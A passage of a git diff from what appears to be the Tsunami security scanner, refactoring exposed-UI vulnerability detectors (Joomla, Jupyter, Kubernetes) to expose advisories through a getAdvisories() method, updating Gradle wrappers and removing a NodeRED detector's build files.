the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail @@ -57,22 +59,22 @@ set JAVA_EXE=%JAVA_HOME%/bin/java.exe if exist "%JAVA_EXE%" goto execute -echo. -echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail :execute @rem Setup the command line -set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar +set CLASSPATH= @rem Execute Gradle -"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %* :end @rem End local scope for the variables with windows NT shell diff --git a/google/detectors/exposedui/joomla_install/src/main/java/com/google/tsunami/plugins/detectors/exposedui/joomla/JoomlaExposedUiDetector.java b/google/detectors/exposedui/joomla_install/src/main/java/com/google/tsunami/plugins/detectors/exposedui/joomla/JoomlaExposedUiDetector.java index 8b410a5a7..76a89bde9 100644 --- a/google/detectors/exposedui/joomla_install/src/main/java/com/google/tsunami/plugins/detectors/exposedui/joomla/JoomlaExposedUiDetector.java +++ b/google/detectors/exposedui/joomla_install/src/main/java/com/google/tsunami/plugins/detectors/exposedui/joomla/JoomlaExposedUiDetector.java @@ -62,6 +62,26 @@ public final class JoomlaExposedUiDetector implements VulnDetector { this.httpClient = checkNotNull(httpClient).modify().build(); } + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher("GOOGLE") + .setValue("JOOMLA_INSTALL_EXPOSED_UI")) + .setSeverity(Severity.CRITICAL) + .setTitle("Joomla Web Installer Exposed Ui") + .setRecommendation( + "Ensure Joomla is not externally accessible (firewall) until the installation is" + + " complete. Complete the installation process and set a strong password for" + + " the initial admin account.") + // TODO: b/313042871 - determine CVSS score. + .setDescription( + "The Joomla installation was not completed and is accessible without restrictions.") + .build()); + } + @Override public DetectionReportList detect( TargetInfo targetInfo, ImmutableList matchedServices) { @@ -112,22 +132,7 @@ private DetectionReport buildDetectionReport( .setNetworkService(vulnerableNetworkService) .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("GOOGLE") - .setValue("JOOMLA_INSTALL_EXPOSED_UI")) - .setSeverity(Severity.CRITICAL) - .setTitle("Joomla Web Installer Exposed Ui") - .setRecommendation( - "Ensure Joomla is not externally accessible (firewall) until the installation" - + " is complete. Complete the installation process and set a strong" - + " password for the initial admin account.") - // TODO: b/313042871 - determine CVSS score. - .setDescription( - "The Joomla installation was not completed and is accessible without" - + " restrictions.")) + .setVulnerability(this.getAdvisories().get(0)) .build(); } } diff --git a/google/detectors/exposedui/joomla_install/src/test/java/com/google/tsunami/plugins/detectors/exposedui/joomla/JoomlaExposedUiDetectorTest.java b/google/detectors/exposedui/joomla_install/src/test/java/com/google/tsunami/plugins/detectors/exposedui/joomla/JoomlaExposedUiDetectorTest.java index f5d0297aa..d4c043179 100644 --- a/google/detectors/exposedui/joomla_install/src/test/java/com/google/tsunami/plugins/detectors/exposedui/joomla/JoomlaExposedUiDetectorTest.java +++ b/google/detectors/exposedui/joomla_install/src/test/java/com/google/tsunami/plugins/detectors/exposedui/joomla/JoomlaExposedUiDetectorTest.java @@ -31,12 +31,9 @@ import com.google.tsunami.proto.NetworkEndpoint; import com.google.tsunami.proto.NetworkService; import com.google.tsunami.proto.ServiceContext; -import com.google.tsunami.proto.Severity; import com.google.tsunami.proto.Software; import com.google.tsunami.proto.TargetInfo; import com.google.tsunami.proto.TransportProtocol; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; import com.google.tsunami.proto.WebServiceContext; import java.io.IOException; import java.time.Instant; @@ -104,21 +101,7 @@ public void detect_whenResponseIsSetupForm_reportsVuln() throws IOException { .setNetworkService(httpServices.get(0)) .setDetectionTimestamp(Timestamps.fromMillis(fakeUtcClock.millis())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("GOOGLE") - .setValue("JOOMLA_INSTALL_EXPOSED_UI")) - .setSeverity(Severity.CRITICAL) - .setTitle("Joomla Web Installer Exposed Ui") - .setDescription( - "The Joomla installation was not completed and is accessible without" - + " restrictions.") - .setRecommendation( - "Ensure Joomla is not externally accessible (firewall) until the" - + " installation is complete. Complete the installation process and" - + " set a strong password for the initial admin account.")) + .setVulnerability(detector.getAdvisories().get(0)) .build()); } @@ -149,21 +132,7 @@ public void detect_whenNonEmptyAppRoot_reportsVuln() throws IOException { .setNetworkService(httpServices.get(0)) .setDetectionTimestamp(Timestamps.fromMillis(fakeUtcClock.millis())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("GOOGLE") - .setValue("JOOMLA_INSTALL_EXPOSED_UI")) - .setSeverity(Severity.CRITICAL) - .setTitle("Joomla Web Installer Exposed Ui") - .setDescription( - "The Joomla installation was not completed and is accessible without" - + " restrictions.") - .setRecommendation( - "Ensure Joomla is not externally accessible (firewall) until the" - + " installation is complete. Complete the installation process and" - + " set a strong password for the initial admin account.")) + .setVulnerability(detector.getAdvisories().get(0)) .build()); } diff --git a/google/detectors/exposedui/jupyter/gradle/wrapper/gradle-wrapper.jar b/google/detectors/exposedui/jupyter/gradle/wrapper/gradle-wrapper.jar index d64cd4917..1b33c55ba 100644 Binary files a/google/detectors/exposedui/jupyter/gradle/wrapper/gradle-wrapper.jar and b/google/detectors/exposedui/jupyter/gradle/wrapper/gradle-wrapper.jar differ diff --git a/google/detectors/exposedui/jupyter/gradle/wrapper/gradle-wrapper.properties b/google/detectors/exposedui/jupyter/gradle/wrapper/gradle-wrapper.properties index d04736436..ca025c83a 100644 --- a/google/detectors/exposedui/jupyter/gradle/wrapper/gradle-wrapper.properties +++ b/google/detectors/exposedui/jupyter/gradle/wrapper/gradle-wrapper.properties @@ -1,6 +1,6 @@ distributionBase=GRADLE_USER_HOME distributionPath=wrapper/dists -distributionUrl=https\://services.gradle.org/distributions/gradle-7.0-bin.zip +distributionUrl=https\://services.gradle.org/distributions/gradle-8.14-bin.zip networkTimeout=10000 validateDistributionUrl=true zipStoreBase=GRADLE_USER_HOME diff --git a/google/detectors/exposedui/jupyter/gradlew b/google/detectors/exposedui/jupyter/gradlew index 1aa94a426..23d15a936 100755 --- a/google/detectors/exposedui/jupyter/gradlew +++ b/google/detectors/exposedui/jupyter/gradlew @@ -15,6 +15,8 @@ # See the License for the specific language governing permissions and # limitations under the License. # +# SPDX-License-Identifier: Apache-2.0 +# ############################################################################## # @@ -55,7 +57,7 @@ # Darwin, MinGW, and NonStop. # # (3) This script is generated from the Groovy template -# https://github.com/gradle/gradle/blob/HEAD/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt +# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt # within the Gradle project. # # You can find Gradle at https://github.com/gradle/gradle/. @@ -84,7 +86,7 @@ done # shellcheck disable=SC2034 APP_BASE_NAME=${0##*/} # Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) -APP_HOME=$( cd "${APP_HOME:-./}" > /dev/null && pwd -P ) || exit +APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit # Use the maximum available, or set MAX_FD != -1 to use that value. MAX_FD=maximum @@ -112,7 +114,7 @@ case "$( uname )" in #( NONSTOP* ) nonstop=true ;; esac -CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar +CLASSPATH="\\\"\\\"" # Determine the Java command to use to start the JVM. @@ -203,7 +205,7 @@ fi DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' # Collect all arguments for the java command: -# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, # and any embedded shellness will be escaped. # * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be # treated as '${Hostname}' itself on the command line. @@ -211,7 +213,7 @@ DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' set -- \ "-Dorg.gradle.appname=$APP_BASE_NAME" \ -classpath "$CLASSPATH" \ - org.gradle.wrapper.GradleWrapperMain \ + -jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \ "$@" # Stop when "xargs" is not available. diff --git a/google/detectors/exposedui/jupyter/gradlew.bat b/google/detectors/exposedui/jupyter/gradlew.bat index 93e3f59f1..db3a6ac20 100644 --- a/google/detectors/exposedui/jupyter/gradlew.bat +++ b/google/detectors/exposedui/jupyter/gradlew.bat @@ -13,6 +13,8 @@ @rem See the License for the specific language governing permissions and @rem limitations under the License. @rem +@rem SPDX-License-Identifier: Apache-2.0 +@rem @if "%DEBUG%"=="" @echo off @rem ########################################################################## @@ -43,11 +45,11 @@ set JAVA_EXE=java.exe %JAVA_EXE% -version >NUL 2>&1 if %ERRORLEVEL% equ 0 goto execute -echo. -echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail @@ -57,22 +59,22 @@ set JAVA_EXE=%JAVA_HOME%/bin/java.exe if exist "%JAVA_EXE%" goto execute -echo. -echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail :execute @rem Setup the command line -set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar +set CLASSPATH= @rem Execute Gradle -"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %* :end @rem End local scope for the variables with windows NT shell diff --git a/google/detectors/exposedui/jupyter/src/main/java/com/google/tsunami/plugins/detectors/exposedui/jupyter/JupyterExposedUiDetector.java b/google/detectors/exposedui/jupyter/src/main/java/com/google/tsunami/plugins/detectors/exposedui/jupyter/JupyterExposedUiDetector.java index 29d58fc21..13e454212 100644 --- a/google/detectors/exposedui/jupyter/src/main/java/com/google/tsunami/plugins/detectors/exposedui/jupyter/JupyterExposedUiDetector.java +++ b/google/detectors/exposedui/jupyter/src/main/java/com/google/tsunami/plugins/detectors/exposedui/jupyter/JupyterExposedUiDetector.java @@ -76,6 +76,22 @@ public JupyterExposedUiDetector(@UtcClock Clock utcClock, HttpClient httpClient) this.httpClient = checkNotNull(httpClient).modify().setFollowRedirects(false).build(); } + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher("GOOGLE") + .setValue("JUPYTER_NOTEBOOK_EXPOSED_UI")) + .setSeverity(Severity.CRITICAL) + .setTitle("Jupyter Notebook Exposed Ui") + // TODO(b/147455413): determine CVSS score. + .setDescription("Jupyter Notebook is not password or token protected") + .setRecommendation(FINDING_RECOMMENDATION_TEXT) + .build()); + } + @Override public DetectionReportList detect( TargetInfo targetInfo, ImmutableList matchedServices) { @@ -123,17 +139,7 @@ private DetectionReport buildDetectionReport( .setNetworkService(vulnerableNetworkService) .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("GOOGLE") - .setValue("JUPYTER_NOTEBOOK_EXPOSED_UI")) - .setSeverity(Severity.CRITICAL) - .setTitle("Jupyter Notebook Exposed Ui") - // TODO(b/147455413): determine CVSS score. - .setDescription("Jupyter Notebook is not password or token protected") - .setRecommendation(FINDING_RECOMMENDATION_TEXT)) + .setVulnerability(this.getAdvisories().get(0)) .build(); } } diff --git a/google/detectors/exposedui/jupyter/src/test/java/com/google/tsunami/plugins/detectors/exposedui/jupyter/JupyterExposedUiDetectorTest.java b/google/detectors/exposedui/jupyter/src/test/java/com/google/tsunami/plugins/detectors/exposedui/jupyter/JupyterExposedUiDetectorTest.java index b5caceb7b..8b45023fa 100644 --- a/google/detectors/exposedui/jupyter/src/test/java/com/google/tsunami/plugins/detectors/exposedui/jupyter/JupyterExposedUiDetectorTest.java +++ b/google/detectors/exposedui/jupyter/src/test/java/com/google/tsunami/plugins/detectors/exposedui/jupyter/JupyterExposedUiDetectorTest.java @@ -18,7 +18,6 @@ import static com.google.common.truth.extensions.proto.ProtoTruth.assertThat; import static com.google.tsunami.common.data.NetworkEndpointUtils.forHostname; import static com.google.tsunami.common.data.NetworkEndpointUtils.forHostnameAndPort; -import static com.google.tsunami.plugins.detectors.exposedui.jupyter.JupyterExposedUiDetector.FINDING_RECOMMENDATION_TEXT; import com.google.common.collect.ImmutableList; import com.google.inject.Guice; @@ -31,12 +30,9 @@ import com.google.tsunami.proto.DetectionStatus; import com.google.tsunami.proto.NetworkEndpoint; import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.Severity; import com.google.tsunami.proto.Software; import com.google.tsunami.proto.TargetInfo; import com.google.tsunami.proto.TransportProtocol; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; import java.io.IOException; import java.time.Instant; import javax.inject.Inject; @@ -163,16 +159,7 @@ private void assetReportVuln(String bodyText) throws IOException { .setNetworkService(httpServices.get(0)) .setDetectionTimestamp(Timestamps.fromMillis(fakeUtcClock.millis())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("GOOGLE") - .setValue("JUPYTER_NOTEBOOK_EXPOSED_UI")) - .setSeverity(Severity.CRITICAL) - .setTitle("Jupyter Notebook Exposed Ui") - .setDescription("Jupyter Notebook is not password or token protected") - .setRecommendation(FINDING_RECOMMENDATION_TEXT)) + .setVulnerability(detector.getAdvisories().get(0)) .build()); } diff --git a/google/detectors/exposedui/kubelet_read_only_port/src/main/java/com/google/tsunami/plugins/kubereadonly/KubeReadOnlyPortDetector.java b/google/detectors/exposedui/kubelet_read_only_port/src/main/java/com/google/tsunami/plugins/kubereadonly/KubeReadOnlyPortDetector.java index 4c5bc85e7..c4b4d0f0b 100644 --- a/google/detectors/exposedui/kubelet_read_only_port/src/main/java/com/google/tsunami/plugins/kubereadonly/KubeReadOnlyPortDetector.java +++ b/google/detectors/exposedui/kubelet_read_only_port/src/main/java/com/google/tsunami/plugins/kubereadonly/KubeReadOnlyPortDetector.java @@ -132,6 +132,21 @@ public final class KubeReadOnlyPortDetector implements VulnDetector { this.httpClient = checkNotNull(httpClient).modify().setFollowRedirects(false).build(); } + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of( + Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder() + .setPublisher("GOOGLE") + .setValue("KUBERNETES_READ_ONLY_PORT")) + .setSeverity(Severity.MEDIUM) + .setTitle("Information leak via the read-only-port feature of Kubernetes/kubelet") + .setDescription(FINDING_DESCRIPTION_TEXT) + .setRecommendation(FINDING_RECOMMENDATION_TEXT) + .build()); + } + @Override public DetectionReportList detect( TargetInfo targetInfo, ImmutableList matchedServices) { @@ -181,16 +196,7 @@ private DetectionReport buildDetectionReport( .setNetworkService(vulnerableNetworkService) .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("GOOGLE") - .setValue("KUBERNETES_READ_ONLY_PORT")) - .setSeverity(Severity.MEDIUM) - .setTitle("Information leak via the read-only-port feature of Kubernetes/kubelet") - .setDescription(FINDING_DESCRIPTION_TEXT) - .setRecommendation(FINDING_RECOMMENDATION_TEXT)) + .setVulnerability(this.getAdvisories().get(0)) .build(); } } diff --git a/google/detectors/exposedui/kubernetes/gradle/wrapper/gradle-wrapper.jar b/google/detectors/exposedui/kubernetes/gradle/wrapper/gradle-wrapper.jar index d64cd4917..1b33c55ba 100644 Binary files a/google/detectors/exposedui/kubernetes/gradle/wrapper/gradle-wrapper.jar and b/google/detectors/exposedui/kubernetes/gradle/wrapper/gradle-wrapper.jar differ diff --git a/google/detectors/exposedui/kubernetes/gradle/wrapper/gradle-wrapper.properties b/google/detectors/exposedui/kubernetes/gradle/wrapper/gradle-wrapper.properties index d04736436..ca025c83a 100644 --- a/google/detectors/exposedui/kubernetes/gradle/wrapper/gradle-wrapper.properties +++ b/google/detectors/exposedui/kubernetes/gradle/wrapper/gradle-wrapper.properties @@ -1,6 +1,6 @@ distributionBase=GRADLE_USER_HOME distributionPath=wrapper/dists -distributionUrl=https\://services.gradle.org/distributions/gradle-7.0-bin.zip +distributionUrl=https\://services.gradle.org/distributions/gradle-8.14-bin.zip networkTimeout=10000 validateDistributionUrl=true zipStoreBase=GRADLE_USER_HOME diff --git a/google/detectors/exposedui/kubernetes/gradlew b/google/detectors/exposedui/kubernetes/gradlew index 1aa94a426..23d15a936 100755 --- a/google/detectors/exposedui/kubernetes/gradlew +++ b/google/detectors/exposedui/kubernetes/gradlew @@ -15,6 +15,8 @@ # See the License for the specific language governing permissions and # limitations under the License. # +# SPDX-License-Identifier: Apache-2.0 +# ############################################################################## # @@ -55,7 +57,7 @@ # Darwin, MinGW, and NonStop. # # (3) This script is generated from the Groovy template -# https://github.com/gradle/gradle/blob/HEAD/subprojects/plugins/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt +# https://github.com/gradle/gradle/blob/HEAD/platforms/jvm/plugins-application/src/main/resources/org/gradle/api/internal/plugins/unixStartScript.txt # within the Gradle project. # # You can find Gradle at https://github.com/gradle/gradle/. @@ -84,7 +86,7 @@ done # shellcheck disable=SC2034 APP_BASE_NAME=${0##*/} # Discard cd standard output in case $CDPATH is set (https://github.com/gradle/gradle/issues/25036) -APP_HOME=$( cd "${APP_HOME:-./}" > /dev/null && pwd -P ) || exit +APP_HOME=$( cd -P "${APP_HOME:-./}" > /dev/null && printf '%s\n' "$PWD" ) || exit # Use the maximum available, or set MAX_FD != -1 to use that value. MAX_FD=maximum @@ -112,7 +114,7 @@ case "$( uname )" in #( NONSTOP* ) nonstop=true ;; esac -CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar +CLASSPATH="\\\"\\\"" # Determine the Java command to use to start the JVM. @@ -203,7 +205,7 @@ fi DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' # Collect all arguments for the java command: -# * DEFAULT_JVM_OPTS, JAVA_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, +# * DEFAULT_JVM_OPTS, JAVA_OPTS, and optsEnvironmentVar are not allowed to contain shell fragments, # and any embedded shellness will be escaped. # * For example: A user cannot expect ${Hostname} to be expanded, as it is an environment variable and will be # treated as '${Hostname}' itself on the command line. @@ -211,7 +213,7 @@ DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"' set -- \ "-Dorg.gradle.appname=$APP_BASE_NAME" \ -classpath "$CLASSPATH" \ - org.gradle.wrapper.GradleWrapperMain \ + -jar "$APP_HOME/gradle/wrapper/gradle-wrapper.jar" \ "$@" # Stop when "xargs" is not available. diff --git a/google/detectors/exposedui/kubernetes/gradlew.bat b/google/detectors/exposedui/kubernetes/gradlew.bat index 93e3f59f1..db3a6ac20 100644 --- a/google/detectors/exposedui/kubernetes/gradlew.bat +++ b/google/detectors/exposedui/kubernetes/gradlew.bat @@ -13,6 +13,8 @@ @rem See the License for the specific language governing permissions and @rem limitations under the License. @rem +@rem SPDX-License-Identifier: Apache-2.0 +@rem @if "%DEBUG%"=="" @echo off @rem ########################################################################## @@ -43,11 +45,11 @@ set JAVA_EXE=java.exe %JAVA_EXE% -version >NUL 2>&1 if %ERRORLEVEL% equ 0 goto execute -echo. -echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH. 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail @@ -57,22 +59,22 @@ set JAVA_EXE=%JAVA_HOME%/bin/java.exe if exist "%JAVA_EXE%" goto execute -echo. -echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% -echo. -echo Please set the JAVA_HOME variable in your environment to match the -echo location of your Java installation. +echo. 1>&2 +echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME% 1>&2 +echo. 1>&2 +echo Please set the JAVA_HOME variable in your environment to match the 1>&2 +echo location of your Java installation. 1>&2 goto fail :execute @rem Setup the command line -set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar +set CLASSPATH= @rem Execute Gradle -"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %* +"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" -jar "%APP_HOME%\gradle\wrapper\gradle-wrapper.jar" %* :end @rem End local scope for the variables with windows NT shell diff --git a/google/detectors/exposedui/kubernetes/src/main/java/com/google/tsunami/plugins/detectors/exposedui/kubernetes/KubernetesApiExposedDetector.java b/google/detectors/exposedui/kubernetes/src/main/java/com/google/tsunami/plugins/detectors/exposedui/kubernetes/KubernetesApiExposedDetector.java index b7829e181..593b76698 100644 --- a/google/detectors/exposedui/kubernetes/src/main/java/com/google/tsunami/plugins/detectors/exposedui/kubernetes/KubernetesApiExposedDetector.java +++ b/google/detectors/exposedui/kubernetes/src/main/java/com/google/tsunami/plugins/detectors/exposedui/kubernetes/KubernetesApiExposedDetector.java @@ -79,6 +79,22 @@ public DetectionReportList detect( .build(); } + @Override + public ImmutableList getAdvisories() { + return ImmutableList.of(getAdvisory(TextData.getDefaultInstance())); + } + + Vulnerability getAdvisory(TextData details) { + return Vulnerability.newBuilder() + .setMainId( + VulnerabilityId.newBuilder().setPublisher("GOOGLE").setValue("KUBERNETES_API_EXPOSED")) + .setSeverity(Severity.CRITICAL) + .setTitle("Kubernetes API Exposed") + .setDescription("Kubernetes API endpoint is exposed.") + .addAdditionalDetails(AdditionalDetail.newBuilder().setTextData(details)) + .build(); + } + /** Checks if a {@link NetworkService} has a Kubernetes API endpoint exposed. */ private boolean isServiceVulnerable(NetworkService networkService) { String targetUri = @@ -117,16 +133,7 @@ private DetectionReport buildDetectionReport( .setNetworkService(vulnerableNetworkService) .setDetectionTimestamp(Timestamps.fromMillis(Instant.now(utcClock).toEpochMilli())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) - .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("GOOGLE") - .setValue("KUBERNETES_API_EXPOSED")) - .setSeverity(Severity.CRITICAL) - .setTitle("Kubernetes API Exposed") - .setDescription("Kubernetes API endpoint is exposed.") - .addAdditionalDetails(AdditionalDetail.newBuilder().setTextData(details))) + .setVulnerability(getAdvisory(details)) .build(); } } diff --git a/google/detectors/exposedui/kubernetes/src/test/java/com/google/tsunami/plugins/detectors/exposedui/kubernetes/KubernetesApiExposedDetectorTest.java b/google/detectors/exposedui/kubernetes/src/test/java/com/google/tsunami/plugins/detectors/exposedui/kubernetes/KubernetesApiExposedDetectorTest.java index 3e098597f..4dbf6fd4f 100644 --- a/google/detectors/exposedui/kubernetes/src/test/java/com/google/tsunami/plugins/detectors/exposedui/kubernetes/KubernetesApiExposedDetectorTest.java +++ b/google/detectors/exposedui/kubernetes/src/test/java/com/google/tsunami/plugins/detectors/exposedui/kubernetes/KubernetesApiExposedDetectorTest.java @@ -26,18 +26,14 @@ import com.google.tsunami.common.net.http.HttpStatus; import com.google.tsunami.common.time.testing.FakeUtcClock; import com.google.tsunami.common.time.testing.FakeUtcClockModule; -import com.google.tsunami.proto.AdditionalDetail; import com.google.tsunami.proto.DetectionReport; import com.google.tsunami.proto.DetectionStatus; import com.google.tsunami.proto.NetworkEndpoint; import com.google.tsunami.proto.NetworkService; -import com.google.tsunami.proto.Severity; import com.google.tsunami.proto.Software; import com.google.tsunami.proto.TargetInfo; import com.google.tsunami.proto.TextData; import com.google.tsunami.proto.TransportProtocol; -import com.google.tsunami.proto.Vulnerability; -import com.google.tsunami.proto.VulnerabilityId; import java.io.IOException; import java.time.Instant; import javax.inject.Inject; @@ -102,24 +98,14 @@ public void detect_whenApiEndpointExposed_reportsVuln() throws IOException { .setDetectionTimestamp(Timestamps.fromMillis(fakeUtcClock.millis())) .setDetectionStatus(DetectionStatus.VULNERABILITY_VERIFIED) .setVulnerability( - Vulnerability.newBuilder() - .setMainId( - VulnerabilityId.newBuilder() - .setPublisher("GOOGLE") - .setValue("KUBERNETES_API_EXPOSED")) - .setSeverity(Severity.CRITICAL) - .setTitle("Kubernetes API Exposed") - .setDescription("Kubernetes API endpoint is exposed.") - .addAdditionalDetails( - AdditionalDetail.newBuilder() - .setTextData( - TextData.newBuilder() - .setText( - String.format( - "The Kubernetes API endpoint at" - + " http://%s:%d/api/v1/pods is exposed.", - mockWebServer.getHostName(), - mockWebServer.getPort()))))) + detector.getAdvisory( + TextData.newBuilder() + .setText( + String.format( + "The Kubernetes API endpoint at" + + " http://%s:%d/api/v1/pods is exposed.", + mockWebServer.getHostName(), mockWebServer.getPort())) + .build())) .build()); } diff --git a/google/detectors/exposedui/nodered/README.md b/google/detectors/exposedui/nodered/README.md deleted file mode 100644 index f27486b5f..000000000 --- a/google/detectors/exposedui/nodered/README.md +++ /dev/null @@ -1,14 +0,0 @@ -# NodeRED unprotected instance - -This detector checks whether a NodeRED instance is available without -authentication (which allows very easy RCE). - -## Build jar file for this plugin - -Using `gradlew`: - -```shell -./gradlew jar -``` - -Tsunami identifiable jar file is located at `build/libs` directory. diff --git a/google/detectors/exposedui/nodered/build.gradle b/google/detectors/exposedui/nodered/build.gradle deleted file mode 100644 index be7c05b17..000000000 --- a/google/detectors/exposedui/nodered/build.gradle +++ /dev/null @@ -1,83 +0,0 @@ -plugins { - id 'java-library' -} - -description = 'Tsunami VulnDetector plugin for exposed NodeRED.' -group = 'com.google.tsunami' -version = '0.0.1-SNAPSHOT' - -repositories { - maven { // The google mirror is less flaky than mavenCentral() - url 'https://maven-central.storage-download.googleapis.com/repos/central/data/' - } - mavenCentral() - mavenLocal() -} - -java { - sourceCompatibility = JavaVersion.VERSION_11 - targetCompatibility = JavaVersion.VERSION_11 - - jar.manifest { - attributes('Implementation-Title': name, - 'Implementation-Version': version, - 'Built-By': System.getProperty('user.name'), - 'Built-JDK': System.getProperty('java.version'), - 'Source-Compatibility': sourceCompatibility, - 'Target-Compatibility': targetCompatibility) - } - - javadoc.options { - encoding = 'UTF-8' - use = true - links 'https://docs.oracle.com/javase/8/docs/api/' - source = '8' - } - - // Log stacktrace to console when test fails. - test { - testLogging { - exceptionFormat = 'full' - showExceptions true - showCauses true - showStackTraces true - } - maxHeapSize = '1500m' - } -} - -ext { - floggerVersion = '0.5.1' - guavaVersion = '28.2-jre' - javaxInjectVersion = '1' - jsoupVersion = '1.9.2' - okhttpVersion = '3.12.0' - protobufVersion = '3.11.4' - tsunamiVersion = 'latest.release' - - junitVersion = '4.13' - mockitoVersion = '2.28.2' - truthVersion = '1.0.1' -} - 